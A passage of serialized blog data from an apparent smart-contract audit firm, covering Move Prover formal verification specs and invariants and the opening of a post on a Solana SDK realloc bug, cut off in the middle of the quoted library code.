Policies",{"type":23,"tag":32,"props":11460,"children":11461},{},[11462],{"type":29,"value":11463},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification level.",{"type":23,"tag":32,"props":11465,"children":11466},{},[11467,11469,11475,11477,11482],{"type":29,"value":11468},"For example, in ",{"type":23,"tag":38,"props":11470,"children":11472},{"className":11471},[],[11473],{"type":29,"value":11474},"std::offer",{"type":29,"value":11476}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":23,"tag":47,"props":11478,"children":11479},{},[11480],{"type":29,"value":11481},"or",{"type":29,"value":11483}," the recipient is now allowed.",{"type":23,"tag":131,"props":11485,"children":11487},{"code":11486,"language":1638,"meta":7,"className":1639,"style":7}," spec redeem {\n /// Aborts if there is no offer under `offer_address` or if the account\n /// cannot redeem the offer.\n /// Ensures that the offered struct under `offer_address` is removed.\n aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n ensures !exists\u003COffer\u003COffered>>(offer_address);\n ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n }\n",[11488],{"type":23,"tag":38,"props":11489,"children":11490},{"__ignoreMap":7},[11491,11508,11516,11524,11532,11578,11636,11679,11745],{"type":23,"tag":141,"props":11492,"children":11493},{"class":143,"line":144},[11494,11499,11504],{"type":23,"tag":141,"props":11495,"children":11496},{"style":750},[11497],{"type":29,"value":11498}," spec",{"type":23,"tag":141,"props":11500,"children":11501},{"style":750},[11502],{"type":29,"value":11503}," redeem",{"type":23,"tag":141,"props":11505,"children":11506},{"style":154},[11507],{"type":29,"value":1951},{"type":23,"tag":141,"props":11509,"children":11510},{"class":143,"line":180},[11511],{"type":23,"tag":141,"props":11512,"children":11513},{"style":443},[11514],{"type":29,"value":11515}," /// Aborts if there is no offer under `offer_address` or if the account\n",{"type":23,"tag":141,"props":11517,"children":11518},{"class":143,"line":205},[11519],{"type":23,"tag":141,"props":11520,"children":11521},{"style":443},[11522],{"type":29,"value":11523}," /// cannot redeem the offer.\n",{"type":23,"tag":141,"props":11525,"children":11526},{"class":143,"line":218},[11527],{"type":23,"tag":141,"props":11528,"children":11529},{"style":443},[11530],{"type":29,"value":11531}," /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":23,"tag":141,"props":11533,"children":11534},{"class":143,"line":227},[11535,11539,11543,11547,11551,11556,11560,11565,11569,11574],{"type":23,"tag":141,"props":11536,"children":11537},{"style":750},[11538],{"type":29,"value":7730},{"type":23,"tag":141,"props":11540,"children":11541},{"style":160},[11542],{"type":29,"value":1258},{"type":23,"tag":141,"props":11544,"children":11545},{"style":750},[11546],{"type":29,"value":5378},{"type":23,"tag":141,"props":11548,"children":11549},{"style":154},[11550],{"type":29,"value":4480},{"type":23,"tag":141,"props":11552,"children":11553},{"style":725},[11554],{"type":29,"value":11555},"Offer",{"type":23,"tag":141,"props":11557,"children":11558},{"style":154},[11559],{"type":29,"value":4480},{"type":23,"tag":141,"props":11561,"children":11562},{"style":725},[11563],{"type":29,"value":11564},"Offered",{"type":23,"tag":141,"props":11566,"children":11567},{"style":154},[11568],{"type":29,"value":5400},{"type":23,"tag":141,"props":11570,"children":11571},{"style":750},[11572],{"type":29,"value":11573},"offer_address",{"type":23,"tag":141,"props":11575,"children":11576},{"style":154},[11577],{"type":29,"value":2496},{"type":23,"tag":141,"props":11579,"children":11580},{"class":143,"line":241},[11581,11585,11589,11594,11598,11602,11606,11610,11615,11619,11623,11627,11632],{"type":23,"tag":141,"props":11582,"children":11583},{"style":750},[11584],{"type":29,"value":7730},{"type":23,"tag":141,"props":11586,"children":11587},{"style":160},[11588],{"type":29,"value":1258},{"type":23,"tag":141,"props":11590,"children":11591},{"style":750},[11592],{"type":29,"value":11593},"is_allowed_recipient",{"type":23,"tag":141,"props":11595,"children":11596},{"style":154},[11597],{"type":29,"value":4480},{"type":23,"tag":141,"props":11599,"children":11600},{"style":725},[11601],{"type":29,"value":11564},{"type":23,"tag":141,"props":11603,"children":11604},{"style":154},[11605],{"type":29,"value":6285},{"type":23,"tag":141,"props":11607,"children":11608},{"style":750},[11609],{"type":29,"value":11573},{"type":23,"tag":141,"props":11611,"children":11612},{"style":154},[11613],{"type":29,"value":11614},", signer",{"type":23,"tag":141,"props":11616,"children":11617},{"style":160},[11618],{"type":29,"value":2141},{"type":23,"tag":141,"props":11620,"children":11621},{"style":184},[11622],{"type":29,"value":5883},{"type":23,"tag":141,"props":11624,"children":11625},{"style":154},[11626],{"type":29,"value":192},{"type":23,"tag":141,"props":11628,"children":11629},{"style":750},[11630],{"type":29,"value":11631},"account",{"type":23,"tag":141,"props":11633,"children":11634},{"style":154},[11635],{"type":29,"value":5897},{"type":23,"tag":141,"props":11637,"children":11638},{"class":143,"line":262},[11639,11643,11647,11651,11655,11659,11663,11667,11671,11675],{"type":23,"tag":141,"props":11640,"children":11641},{"style":750},[11642],{"type":29,"value":6862},{"type":23,"tag":141,"props":11644,"children":11645},{"style":160},[11646],{"type":29,"value":1258},{"type":23,"tag":141,"props":11648,"children":11649},{"style":750},[11650],{"type":29,"value":5378},{"type":23,"tag":141,"props":11652,"children":11653},{"style":154},[11654],{"type":29,"value":4480},{"type":23,"tag":141,"props":11656,"children":11657},{"style":725},[11658],{"type":29,"value":11555},{"type":23,"tag":141,"props":11660,"children":11661},{"style":154},[11662],{"type":29,"value":4480},{"type":23,"tag":141,"props":11664,"children":11665},{"style":725},[11666],{"type":29,"value":11564},{"type":23,"tag":141,"props":11668,"children":11669},{"style":154},[11670],{"type":29,"value":5400},{"type":23,"tag":141,"props":11672,"children":11673},{"style":750},[11674],{"type":29,"value":11573},{"type":23,"tag":141,"props":11676,"children":11677},{"style":154},[11678],{"type":29,"value":2496},{"type":23,"tag":141,"props":11680,"children":11681},{"class":143,"line":271},[11682,11686,11690,11694,11699,11703,11708,11712,11716,11720,11724,11728,11732,11736,11740],{"type":23,"tag":141,"props":11683,"children":11684},{"style":750},[11685],{"type":29,"value":6862},{"type":23,"tag":141,"props":11687,"children":11688},{"style":750},[11689],{"type":29,"value":7838},{"type":23,"tag":141,"props":11691,"children":11692},{"style":160},[11693],{"type":29,"value":1942},{"type":23,"tag":141,"props":11695,"children":11696},{"style":184},[11697],{"type":29,"value":11698}," old",{"type":23,"tag":141,"props":11700,"children":11701},{"style":154},[11702],{"type":29,"value":192},{"type":23,"tag":141,"props":11704,"children":11705},{"style":750},[11706],{"type":29,"value":11707},"global",{"type":23,"tag":141,"props":11709,"children":11710},{"style":154},[11711],{"type":29,"value":4480},{"type":23,"tag":141,"props":11713,"children":11714},{"style":725},[11715],{"type":29,"value":11555},{"type":23,"tag":141,"props":11717,"children":11718},{"style":154},[11719],{"type":29,"value":4480},{"type":23,"tag":141,"props":11721,"children":11722},{"style":725},[11723],{"type":29,"value":11564},{"type":23,"tag":141,"props":11725,"children":11726},{"style":154},[11727],{"type":29,"value":5400},{"type":23,"tag":141,"props":11729,"children":11730},{"style":750},[11731],{"type":29,"value":11573},{"type":23,"tag":141,"props":11733,"children":11734},{"style":154},[11735],{"type":29,"value":1788},{"type":23,"tag":141,"props":11737,"children":11738},{"style":160},[11739],{"type":29,"value":322},{"type":23,"tag":141,"props":11741,"children":11742},{"style":154},[11743],{"type":29,"value":11744},"offered);\n",{"type":23,"tag":141,"props":11746,"children":11747},{"class":143,"line":293},[11748],{"type":23,"tag":141,"props":11749,"children":11750},{"style":154},[11751],{"type":29,"value":299},{"type":23,"tag":32,"props":11753,"children":11754},{},[11755],{"type":29,"value":11756},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":23,"tag":8287,"props":11758,"children":11760},{"id":11759},"complex-mathematical-formulae",[11761],{"type":29,"value":11762},"Complex Mathematical Formulae",{"type":23,"tag":32,"props":11764,"children":11765},{},[11766,11768,11773],{"type":29,"value":11767},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":23,"tag":47,"props":11769,"children":11770},{},[11771],{"type":29,"value":11772},"always",{"type":29,"value":11774}," the output.",{"type":23,"tag":32,"props":11776,"children":11777},{},[11778],{"type":29,"value":11779},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your codebase.",{"type":23,"tag":32,"props":11781,"children":11782},{},[11783,11785,11792],{"type":29,"value":11784},"For example, in our work with ",{"type":23,"tag":55,"props":11786,"children":11789},{"href":11787,"rel":11788},"https://laminar.markets/",[59],[11790],{"type":29,"value":11791},"Laminar Markets",{"type":29,"value":11793},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":23,"tag":8287,"props":11795,"children":11797},{"id":11796},"data-invariants",[11798],{"type":29,"value":11799},"Data Invariants",{"type":23,"tag":32,"props":11801,"children":11802},{},[11803,11805,11811,11813,11819,11821,11827,11829,11835],{"type":29,"value":11804},"Formal verification provides the best environment to verify that certain ",{"type":23,"tag":38,"props":11806,"children":11808},{"className":11807},[],[11809],{"type":29,"value":11810},"variables",{"type":29,"value":11812}," or ",{"type":23,"tag":38,"props":11814,"children":11816},{"className":11815},[],[11817],{"type":29,"value":11818},"resources",{"type":29,"value":11820}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":23,"tag":38,"props":11822,"children":11824},{"className":11823},[],[11825],{"type":29,"value":11826},"index",{"type":29,"value":11828}," is never greater than 4 using a ",{"type":23,"tag":38,"props":11830,"children":11832},{"className":11831},[],[11833],{"type":29,"value":11834},"struct invariant",{"type":29,"value":322},{"type":23,"tag":131,"props":11837,"children":11839},{"code":11838,"language":1638,"meta":7,"className":1639,"style":7},"struct Type {\n index: u64\n}\n\nspec Type {\n invariant index \u003C 4;\n}\n",[11840],{"type":23,"tag":38,"props":11841,"children":11842},{"__ignoreMap":7},[11843,11859,11876,11883,11890,11905,11929],{"type":23,"tag":141,"props":11844,"children":11845},{"class":143,"line":144},[11846,11850,11855],{"type":23,"tag":141,"props":11847,"children":11848},{"style":449},[11849],{"type":29,"value":8079},{"type":23,"tag":141,"props":11851,"children":11852},{"style":725},[11853],{"type":29,"value":11854}," Type",{"type":23,"tag":141,"props":11856,"children":11857},{"style":154},[11858],{"type":29,"value":1951},{"type":23,"tag":141,"props":11860,"children":11861},{"class":143,"line":180},[11862,11867,11871],{"type":23,"tag":141,"props":11863,"children":11864},{"style":750},[11865],{"type":29,"value":11866}," index",{"type":23,"tag":141,"props":11868,"children":11869},{"style":160},[11870],{"type":29,"value":114},{"type":23,"tag":141,"props":11872,"children":11873},{"style":725},[11874],{"type":29,"value":11875}," u64\n",{"type":23,"tag":141,"props":11877,"children":11878},{"class":143,"line":205},[11879],{"type":23,"tag":141,"props":11880,"children":11881},{"style":154},[11882],{"type":29,"value":2573},{"type":23,"tag":141,"props":11884,"children":11885},{"class":143,"line":218},[11886],{"type":23,"tag":141,"props":11887,"children":11888},{"emptyLinePlaceholder":15},[11889],{"type":29,"value":719},{"type":23,"tag":141,"props":11891,"children":11892},{"class":143,"line":227},[11893,11897,11901],{"type":23,"tag":141,"props":11894,"children":11895},{"style":750},[11896],{"type":29,"value":6950},{"type":23,"tag":141,"props":11898,"children":11899},{"style":725},[11900],{"type":29,"value":11854},{"type":23,"tag":141,"props":11902,"children":11903},{"style":154},[11904],{"type":29,"value":1951},{"type":23,"tag":141,"props":11906,"children":11907},{"class":143,"line":241},[11908,11912,11917,11921,11925],{"type":23,"tag":141,"props":11909,"children":11910},{"style":750},[11911],{"type":29,"value":6967},{"type":23,"tag":141,"props":11913,"children":11914},{"style":750},[11915],{"type":29,"value":11916}," index",{"type":23,"tag":141,"props":11918,"children":11919},{"style":160},[11920],{"type":29,"value":7395},{"type":23,"tag":141,"props":11922,"children":11923},{"style":472},[11924],{"type":29,"value":10425},{"type":23,"tag":141,"props":11926,"children":11927},{"style":154},[11928],{"type":29,"value":1684},{"type":23,"tag":141,"props":11930,"children":11931},{"class":143,"line":262},[11932],{"type":23,"tag":141,"props":11933,"children":11934},{"style":154},[11935],{"type":29,"value":2573},{"type":23,"tag":32,"props":11937,"children":11938},{},[11939,11941,11948,11949,11955],{"type":29,"value":11940},"We were able to verify more complex properties in our recent audits for ",{"type":23,"tag":55,"props":11942,"children":11945},{"href":11943,"rel":11944},"https://layerzero.network/",[59],[11946],{"type":29,"value":11947},"LayerZero",{"type":29,"value":313},{"type":23,"tag":55,"props":11950,"children":11953},{"href":11951,"rel":11952},"http://ariesmarkets.xyz/",[59],[11954],{"type":29,"value":5464},{"type":29,"value":11956},", but the details are left as an exercise to the reader.",{"type":23,"tag":8287,"props":11958,"children":11960},{"id":11959},"economic-invariants",[11961],{"type":29,"value":11962},"Economic Invariants.",{"type":23,"tag":32,"props":11964,"children":11965},{},[11966],{"type":29,"value":11967},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":23,"tag":32,"props":11969,"children":11970},{},[11971],{"type":29,"value":11972},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":23,"tag":131,"props":11974,"children":11975},{"code":6642,"language":1638,"meta":7,"className":1639,"style":7},[11976],{"type":23,"tag":38,"props":11977,"children":11978},{"__ignoreMap":7},[11979,11986,12069,12108,12127,12134,12149,12172,12195,12218],{"type":23,"tag":141,"props":11980,"children":11981},{"class":143,"line":144},[11982],{"type":23,"tag":141,"props":11983,"children":11984},{"style":443},[11985],{"type":29,"value":6654},{"type":23,"tag":141,"props":11987,"children":11988},{"class":143,"line":180},[11989,11993,11997,12001,12005,12009,12013,12017,12021,12025,12029,12033,12037,12041,12045,12049,12053,12057,12061,12065],{"type":23,"tag":141,"props":11990,"children":11991},{"style":750},[11992],{"type":29,"value":5243},{"type":23,"tag":141,"props":11994,"children":11995},{"style":184},[11996],{"type":29,"value":6666},{"type":23,"tag":141,"props":11998,"children":11999},{"style":154},[12000],{"type":29,"value":192},{"type":23,"tag":141,"props":12002,"children":12003},{"style":750},[12004],{"type":29,"value":6675},{"type":23,"tag":141,"props":12006,"children":12007},{"style":160},[12008],{"type":29,"value":114},{"type":23,"tag":141,"props":12010,"children":12011},{"style":725},[12012],{"type":29,"value":4534},{"type":23,"tag":141,"props":12014,"children":12015},{"style":154},[12016],{"type":29,"value":480},{"type":23,"tag":141,"props":12018,"children":12019},{"style":750},[12020],{"type":29,"value":6692},{"type":23,"tag":141,"props":12022,"children":12023},{"style":160},[12024],{"type":29,"value":114},{"type":23,"tag":141,"props":12026,"children":12027},{"style":725},[12028],{"type":29,"value":4534},{"type":23,"tag":141,"props":12030,"children":12031},{"style":154},[12032],{"type":29,"value":1788},{"type":23,"tag":141,"props":12034,"children":12035},{"style":160},[12036],{"type":29,"value":114},{"type":23,"tag":141,"props":12038,"children":12039},{"style":154},[12040],{"type":29,"value":1220},{"type":23,"tag":141,"props":12042,"children":12043},{"style":725},[12044],{"type":29,"value":6717},{"type":23,"tag":141,"props":12046,"children":12047},{"style":154},[12048],{"type":29,"value":480},{"type":23,"tag":141,"props":12050,"children":12051},{"style":725},[12052],{"type":29,"value":6717},{"type":23,"tag":141,"props":12054,"children":12055},{"style":154},[12056],{"type":29,"value":1748},{"type":23,"tag":141,"props":12058,"children":12059},{"style":750},[12060],{"type":29,"value":5018},{"type":23,"tag":141,"props":12062,"children":12063},{"style":725},[12064],{"type":29,"value":6738},{"type":23,"tag":141,"props":12066,"children":12067},{"style":154},[12068],{"type":29,"value":1951},{"type":23,"tag":141,"props":12070,"children":12071},{"class":143,"line":205},[12072,12076,12080,12084,12088,12092,12096,12100,12104],{"type":23,"tag":141,"props":12073,"children":12074},{"style":449},[12075],{"type":29,"value":6750},{"type":23,"tag":141,"props":12077,"children":12078},{"style":750},[12079],{"type":29,"value":6755},{"type":23,"tag":141,"props":12081,"children":12082},{"style":160},[12083],{"type":29,"value":1674},{"type":23,"tag":141,"props":12085,"children":12086},{"style":184},[12087],{"type":29,"value":6764},{"type":23,"tag":141,"props":12089,"children":12090},{"style":154},[12091],{"type":29,"value":192},{"type":23,"tag":141,"props":12093,"children":12094},{"style":750},[12095],{"type":29,"value":6675},{"type":23,"tag":141,"props":12097,"children":12098},{"style":154},[12099],{"type":29,"value":480},{"type":23,"tag":141,"props":12101,"children":12102},{"style":750},[12103],{"type":29,"value":6692},{"type":23,"tag":141,"props":12105,"children":12106},{"style":154},[12107],{"type":29,"value":2496},{"type":23,"tag":141,"props":12109,"children":12110},{"class":143,"line":218},[12111,12115,12119,12123],{"type":23,"tag":141,"props":12112,"children":12113},{"style":184},[12114],{"type":29,"value":6792},{"type":23,"tag":141,"props":12116,"children":12117},{"style":154},[12118],{"type":29,"value":192},{"type":23,"tag":141,"props":12120,"children":12121},{"style":750},[12122],{"type":29,"value":6801},{"type":23,"tag":141,"props":12124,"children":12125},{"style":154},[12126],{"type":29,"value":758},{"type":23,"tag":141,"props":12128,"children":12129},{"class":143,"line":227},[12130],{"type":23,"tag":141,"props":12131,"children":12132},{"style":154},[12133],{"type":29,"value":854},{"type":23,"tag":141,"props":12135,"children":12136},{"class":143,"line":241},[12137,12141,12145],{"type":23,"tag":141,"props":12138,"children":12139},{"style":750},[12140],{"type":29,"value":6820},{"type":23,"tag":141,"props":12142,"children":12143},{"style":750},[12144],{"type":29,"value":6666},{"type":23,"tag":141,"props":12146,"children":12147},{"style":154},[12148],{"type":29,"value":1951},{"type":23,"tag":141,"props":12150,"children":12151},{"class":143,"line":262},[12152,12156,12160,12164,12168],{"type":23,"tag":141,"props":12153,"children":12154},{"style":750},[12155],{"type":29,"value":6836},{"type":23,"tag":141,"props":12157,"children":12158},{"style":750},[12159],{"type":29,"value":6841},{"type":23,"tag":141,"props":12161,"children":12162},{"style":160},[12163],{"type":29,"value":1377},{"type":23,"tag":141,"props":12165,"children":12166},{"style":449},[12167],{"type":29,"value":6850},{"type":23,"tag":141,"props":12169,"children":12170},{"style":154},[12171],{"type":29,"value":1684},{"type":23,"tag":141,"props":12173,"children":12174},{"class":143,"line":271},[12175,12179,12183,12187,12191],{"type":23,"tag":141,"props":12176,"children":12177},{"style":750},[12178],{"type":29,"value":6862},{"type":23,"tag":141,"props":12180,"children":12181},{"style":750},[12182],{"type":29,"value":6867},{"type":23,"tag":141,"props":12184,"children":12185},{"style":160},[12186],{"type":29,"value":6872},{"type":23,"tag":141,"props":12188,"children":12189},{"style":750},[12190],{"type":29,"value":6877},{"type":23,"tag":141,"props":12192,"children":12193},{"style":154},[12194],{"type":29,"value":1684},{"type":23,"tag":141,"props":12196,"children":12197},{"class":143,"line":293},[12198,12202,12206,12210,12214],{"type":23,"tag":141,"props":12199,"children":12200},{"style":750},[12201],{"type":29,"value":6862},{"type":23,"tag":141,"props":12203,"children":12204},{"style":750},[12205],{"type":29,"value":6893},{"type":23,"tag":141,"props":12207,"children":12208},{"style":160},[12209],{"type":29,"value":6872},{"type":23,"tag":141,"props":12211,"children":12212},{"style":750},[12213],{"type":29,"value":6902},{"type":23,"tag":141,"props":12215,"children":12216},{"style":154},[12217],{"type":29,"value":1684},{"type":23,"tag":141,"props":12219,"children":12220},{"class":143,"line":801},[12221],{"type":23,"tag":141,"props":12222,"children":12223},{"style":154},[12224],{"type":29,"value":854},{"type":23,"tag":32,"props":12226,"children":12227},{},[12228],{"type":29,"value":12229},"Some other ideas include",{"type":23,"tag":116,"props":12231,"children":12232},{},[12233,12238,12243],{"type":23,"tag":120,"props":12234,"children":12235},{},[12236],{"type":29,"value":12237},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":23,"tag":120,"props":12239,"children":12240},{},[12241],{"type":29,"value":12242},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":23,"tag":120,"props":12244,"children":12245},{},[12246],{"type":29,"value":12247},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":23,"tag":24,"props":12249,"children":12250},{"id":1420},[12251],{"type":29,"value":1423},{"type":23,"tag":32,"props":12253,"children":12254},{},[12255],{"type":29,"value":12256},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":23,"tag":32,"props":12258,"children":12259},{},[12260],{"type":29,"value":12261},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":23,"tag":32,"props":12263,"children":12264},{},[12265,12267,12272],{"type":29,"value":12266},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":23,"tag":55,"props":12268,"children":12270},{"href":7920,"rel":12269},[59],[12271],{"type":29,"value":7924},{"type":29,"value":322},{"type":23,"tag":1508,"props":12274,"children":12275},{},[12276],{"type":29,"value":1512},{"title":7,"searchDepth":180,"depth":180,"links":12278},[12279,12280,12283,12290],{"id":7983,"depth":180,"text":7986},{"id":8037,"depth":180,"text":8040,"children":12281},[12282],{"id":8289,"depth":205,"text":8284},{"id":11188,"depth":180,"text":11191,"children":12284},[12285,12286,12287,12288,12289],{"id":11204,"depth":205,"text":11207},{"id":11455,"depth":205,"text":11458},{"id":11759,"depth":205,"text":11762},{"id":11796,"depth":205,"text":11799},{"id":11959,"depth":205,"text":11962},{"id":1420,"depth":180,"text":1423},"content:blog:2022-09-16-move-prover.md","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover",{"_path":12295,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":12296,"description":12297,"author":12298,"image":12299,"date":12302,"isFeatured":15,"onBlogPage":15,"tags":12303,"body":12304,"_type":1522,"_id":17412,"_source":1524,"_file":17413,"_stem":17414,"_extension":1527},"/blog/2022-12-09-rust-realloc-and-references","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":12300,"height":12301,"width":13},"/posts/rust-realloc-and-references/title.jpg",512,"2022-12-09",[1540,7948],{"type":20,"children":12305,"toc":17396},[12306,12334,12354,13022,13042,13053,13065,13198,13208,13214,13240,13581,13626,13953,14016,14029,14103,14169,14190,14203,14217,14566,14577,14582,14713,14764,14790,14802,14975,15111,15152,15189,15254,15259,15296,15350,15361,15505,15517,15523,15529,15562,15576,15698,15717,15745,15751,15841,15932,15938,15943,15990,16259,16334,16345,16372,16704,16716,16789,17062,17099,17392],{"type":23,"tag":32,"props":12307,"children":12308},{},[12309,12311,12317,12319,12324,12326,12332],{"type":29,"value":12310},"It all started with an audit of a program that used ",{"type":23,"tag":38,"props":12312,"children":12314},{"className":12313},[],[12315],{"type":29,"value":12316},"realloc",{"type":29,"value":12318}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":23,"tag":38,"props":12320,"children":12322},{"className":12321},[],[12323],{"type":29,"value":12316},{"type":29,"value":12325}," call (from ",{"type":23,"tag":38,"props":12327,"children":12329},{"className":12328},[],[12330],{"type":29,"value":12331},"solana_program",{"type":29,"value":12333},") would error out appropriately.",{"type":23,"tag":32,"props":12335,"children":12336},{},[12337,12339,12345,12346,12353],{"type":29,"value":12338},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":23,"tag":38,"props":12340,"children":12342},{"className":12341},[],[12343],{"type":29,"value":12344},"AccountInfo::realloc",{"type":29,"value":4175},{"type":23,"tag":55,"props":12347,"children":12350},{"href":12348,"rel":12349},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[59],[12351],{"type":29,"value":12352},"implemented",{"type":29,"value":114},{"type":23,"tag":131,"props":12355,"children":12357},{"className":1639,"code":12356,"language":1638,"meta":7,"style":7},"pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n let orig_len = self.data_len();\n\n // realloc\n unsafe {\n // First set new length in the serialized data\n let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n *ptr = new_len as u64;\n\n // Then set the new length in the local slice\n let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n *ptr = new_len as u64;\n }\n\n // zero-init if requested\n if zero_init && new_len > orig_len {\n sol_memset(\n &mut self.try_borrow_mut_data()?[orig_len..],\n 0,\n new_len.saturating_sub(orig_len),\n );\n }\n\n Ok(())\n}\n",[12358],{"type":23,"tag":38,"props":12359,"children":12360},{"__ignoreMap":7},[12361,12455,12489,12496,12504,12516,12524,12616,12648,12655,12663,12793,12824,12831,12838,12846,12879,12891,12940,12952,12981,12988,12995,13002,13015],{"type":23,"tag":141,"props":12362,"children":12363},{"class":143,"line":144},[12364,12369,12374,12379,12383,12387,12392,12396,12401,12405,12410,12414,12419,12423,12427,12431,12436,12441,12446,12451],{"type":23,"tag":141,"props":12365,"children":12366},{"style":449},[12367],{"type":29,"value":12368},"pub",{"type":23,"tag":141,"props":12370,"children":12371},{"style":449},[12372],{"type":29,"value":12373}," fn",{"type":23,"tag":141,"props":12375,"children":12376},{"style":184},[12377],{"type":29,"value":12378}," realloc",{"type":23,"tag":141,"props":12380,"children":12381},{"style":154},[12382],{"type":29,"value":192},{"type":23,"tag":141,"props":12384,"children":12385},{"style":160},[12386],{"type":29,"value":1770},{"type":23,"tag":141,"props":12388,"children":12389},{"style":449},[12390],{"type":29,"value":12391},"self",{"type":23,"tag":141,"props":12393,"children":12394},{"style":154},[12395],{"type":29,"value":480},{"type":23,"tag":141,"props":12397,"children":12398},{"style":750},[12399],{"type":29,"value":12400},"new_len",{"type":23,"tag":141,"props":12402,"children":12403},{"style":160},[12404],{"type":29,"value":114},{"type":23,"tag":141,"props":12406,"children":12407},{"style":725},[12408],{"type":29,"value":12409}," usize",{"type":23,"tag":141,"props":12411,"children":12412},{"style":154},[12413],{"type":29,"value":480},{"type":23,"tag":141,"props":12415,"children":12416},{"style":750},[12417],{"type":29,"value":12418},"zero_init",{"type":23,"tag":141,"props":12420,"children":12421},{"style":160},[12422],{"type":29,"value":114},{"type":23,"tag":141,"props":12424,"children":12425},{"style":725},[12426],{"type":29,"value":10730},{"type":23,"tag":141,"props":12428,"children":12429},{"style":154},[12430],{"type":29,"value":1748},{"type":23,"tag":141,"props":12432,"children":12433},{"style":160},[12434],{"type":29,"value":12435},"->",{"type":23,"tag":141,"props":12437,"children":12438},{"style":725},[12439],{"type":29,"value":12440}," Result",{"type":23,"tag":141,"props":12442,"children":12443},{"style":154},[12444],{"type":29,"value":12445},"\u003C(), ",{"type":23,"tag":141,"props":12447,"children":12448},{"style":725},[12449],{"type":29,"value":12450},"ProgramError",{"type":23,"tag":141,"props":12452,"children":12453},{"style":154},[12454],{"type":29,"value":5955},{"type":23,"tag":141,"props":12456,"children":12457},{"class":143,"line":180},[12458,12462,12467,12471,12476,12480,12485],{"type":23,"tag":141,"props":12459,"children":12460},{"style":449},[12461],{"type":29,"value":1659},{"type":23,"tag":141,"props":12463,"children":12464},{"style":750},[12465],{"type":29,"value":12466}," orig_len",{"type":23,"tag":141,"props":12468,"children":12469},{"style":160},[12470],{"type":29,"value":1674},{"type":23,"tag":141,"props":12472,"children":12473},{"style":449},[12474],{"type":29,"value":12475}," self",{"type":23,"tag":141,"props":12477,"children":12478},{"style":160},[12479],{"type":29,"value":322},{"type":23,"tag":141,"props":12481,"children":12482},{"style":184},[12483],{"type":29,"value":12484},"data_len",{"type":23,"tag":141,"props":12486,"children":12487},{"style":154},[12488],{"type":29,"value":1305},{"type":23,"tag":141,"props":12490,"children":12491},{"class":143,"line":205},[12492],{"type":23,"tag":141,"props":12493,"children":12494},{"emptyLinePlaceholder":15},[12495],{"type":29,"value":719},{"type":23,"tag":141,"props":12497,"children":12498},{"class":143,"line":218},[12499],{"type":23,"tag":141,"props":12500,"children":12501},{"style":443},[12502],{"type":29,"value":12503}," // realloc\n",{"type":23,"tag":141,"props":12505,"children":12506},{"class":143,"line":227},[12507,12512],{"type":23,"tag":141,"props":12508,"children":12509},{"style":449},[12510],{"type":29,"value":12511}," unsafe",{"type":23,"tag":141,"props":12513,"children":12514},{"style":154},[12515],{"type":29,"value":1951},{"type":23,"tag":141,"props":12517,"children":12518},{"class":143,"line":241},[12519],{"type":23,"tag":141,"props":12520,"children":12521},{"style":443},[12522],{"type":29,"value":12523}," // First set new length in the serialized data\n",{"type":23,"tag":141,"props":12525,"children":12526},{"class":143,"line":262},[12527,12531,12536,12540,12544,12548,12553,12558,12562,12567,12571,12575,12580,12584,12588,12592,12596,12600,12604,12608,12612],{"type":23,"tag":141,"props":12528,"children":12529},{"style":449},[12530],{"type":29,"value":1725},{"type":23,"tag":141,"props":12532,"children":12533},{"style":750},[12534],{"type":29,"value":12535}," ptr",{"type":23,"tag":141,"props":12537,"children":12538},{"style":160},[12539],{"type":29,"value":1674},{"type":23,"tag":141,"props":12541,"children":12542},{"style":449},[12543],{"type":29,"value":12475},{"type":23,"tag":141,"props":12545,"children":12546},{"style":160},[12547],{"type":29,"value":322},{"type":23,"tag":141,"props":12549,"children":12550},{"style":184},[12551],{"type":29,"value":12552},"try_borrow_mut_data",{"type":23,"tag":141,"props":12554,"children":12555},{"style":154},[12556],{"type":29,"value":12557},"()",{"type":23,"tag":141,"props":12559,"children":12560},{"style":160},[12561],{"type":29,"value":1793},{"type":23,"tag":141,"props":12563,"children":12564},{"style":184},[12565],{"type":29,"value":12566},"as_mut_ptr",{"type":23,"tag":141,"props":12568,"children":12569},{"style":154},[12570],{"type":29,"value":12557},{"type":23,"tag":141,"props":12572,"children":12573},{"style":160},[12574],{"type":29,"value":322},{"type":23,"tag":141,"props":12576,"children":12577},{"style":184},[12578],{"type":29,"value":12579},"offset",{"type":23,"tag":141,"props":12581,"children":12582},{"style":154},[12583],{"type":29,"value":192},{"type":23,"tag":141,"props":12585,"children":12586},{"style":160},[12587],{"type":29